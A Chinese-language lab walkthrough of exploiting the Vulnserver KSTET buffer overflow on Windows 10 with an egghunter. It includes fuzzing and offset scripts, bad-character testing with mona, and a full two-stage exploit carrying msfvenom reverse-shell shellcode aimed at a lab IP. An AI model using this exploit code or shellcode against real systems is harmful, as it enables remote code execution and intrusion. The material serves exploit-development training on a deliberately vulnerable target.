0%

Vulnserver KSTET Exploit with Egghunter

本次实验讨论在Win10 21h2 x86系统下关闭DEP,利用egghunter完成,因为空间大小问题,最终的利用代码会涉及到多个stage

先来看一下IDAKSTET的大致处理流程,挑重点的看:

egghunter

注意其中的_Function2,跟进看一下:

egghunter

发现调用的是_strcpy函数,这是一个不安全的函数,会导致栈溢出。

换一种fuzz方式,比之前采用的SPIKE Fuzz好一些。在这里:boofuzz

借用别人的fuzz代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from boofuzz import *
import argparse

def test_connection(target, logger, session, *args, **kwargs):
try:
banner = target.recv(1024)
except:
exit(1)

def main(ip,port,cmd):
session = Session(
sleep_time=1,
target=Target(
connection=SocketConnection(ip, port, proto='tcp')
),
)
s_initialize(name="Request")
with s_block("exploit"):
s_static(cmd.upper())
s_delim(" ",fuzzable=False)
s_string("FUZZ",fuzzable=True)
s_delim("\r\n",fuzzable=False)
session.connect(s_get("Request"), callback=test_connection)
session.fuzz()


if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True)
parser.add_argument('--port', required=True, type=int)
parser.add_argument('--cmd',required=True)
args = parser.parse_args()
main(args.host,args.port,args.cmd)

看一下crash时候的结果:

egghunter

注意看标红的,说是前一个包导致的crash,也就是128bytes,后来验证其实100bytes也能导致crash。个人感觉前后两个包在后续都需要单独确认一下,验证较小的包能否导致crash。下图是发送100A字符导致crash

egghunter

寻找offset,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import struct
import socket

VULNSRVR_CMD = b"KSTET " # change me
CRASH_LEN = 100 # change me
OFFSET = 0 # change me

target = ("192.168.13.204", 9999) # vulnserver

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"

# Then use the structure below to confirm the offset
# payload += b"A" * OFFSET
# payload += b"B" * 4
# payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...

sent = sock.send(payload)
print(f"sent {sent} bytes")

EIP被覆盖为63413363,获取offset70,如下图所示:

egghunter

在寻找坏字符,这里因为空间不够,可以将坏字符集分成多个部分,每部分测试一遍。也可以利用mona中的compare来进行坏字符的判别。

1
2
3
4
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

执行上述命令的时候,如果bytearray.txtbytearray.bin文件无法写入,那是因为权限不够,需要将windbg以管理员权限打开。我这里已经转存:
egghunter

代码里体现如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
chunk_one += b"\x41\x42\x43\x44\x45\x46"

chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66"
chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"

chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac"
chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"

chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

现在来看一下查找坏字符的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import struct
import socket

VULNSRVR_CMD = b"KSTET " # change me
CRASH_LEN = 100 # change me
OFFSET = 70 # change me

target = ("192.168.13.138", 9999) # vulnserver

chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
chunk_one += b"\x41\x42\x43\x44\x45\x46"

chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66"
chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"

chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac"
chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"

chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = VULNSRVR_CMD
payload += chunk_one
payload += b"A" * (OFFSET-len(chunk_one))
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...

sent = sock.send(payload)
print(f"sent {sent} bytes")

注意看windbgcrash现场,发现eax+0x06指向chunk_one的开始部分:

egghunter

来看mona自己比较的结果:

egghunter

注意看标红的部分,这里显示没有坏字符,后续几个操作就不做了。最后发现除了\x00没有其他坏字符。有个地方注意,如果找到坏字符,后续还需要删除掉坏字符重新操作来一遍。

到目前为止,你会发现栈空间不足,没法放置shellcode。这里可以参照之前GTER Egghunter相关文章,发两次包,一次发shellcode,一次发egghunter payloadegghunter payload能够在内存中找到shellcode。所以,目前需要关注的点是如何放置egghunter payload,以及如何跳转到egghunter payload所在位置。借用前一篇文章生成标准的egghunter payload

egghunter

在查看坏字符的时候,我们知道eax+0x06正好指向测试字符串的开始部分,所以add eax,0x06;jmp eax正好可以跳转到测试字符串的开始,看下这两条指令的机器码:

egghunter

现在把egghunter payload放在这里,这样就可以直接跳转到egghunter payload的开始了。eip让其指向essfunc.dll中某个jmp esp即可。

命令如下:

1
!py mona jmp -r esp

egghunter

结合以上分析,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import socket
import struct

HOST = '192.168.13.138'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

shellcode = b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"



nops = b'\x90'*4
junk = b"A"*(70-len(egghunter)-4)
eip = struct.pack("<L", 0x625011af) # jmp esp
stage = b"\x83\xC0\x06" #add eax,0x06
stage += b"\xFF\xE0" #jmp eax
others = b"C"*(100-70-4-len(stage))

PAYLOAD1 = (
b'TRUN /.:/'+
shellcode)

PAYLOAD2 = (
b'KSTET ' +
junk +
nops +
egghunter +
eip +
nops +
stage +
others
)


with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD1)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD2)

成功反弹shell

egghunter

参考:

1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-19-osce-exam-practice-part-five/

2.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

3.https://blog.cyber-f0x.co.uk/Vulnserver-KSTET/

4.https://captmeelo.com/exploitdev/osceprep/2018/06/29/vulnserver-kstet.html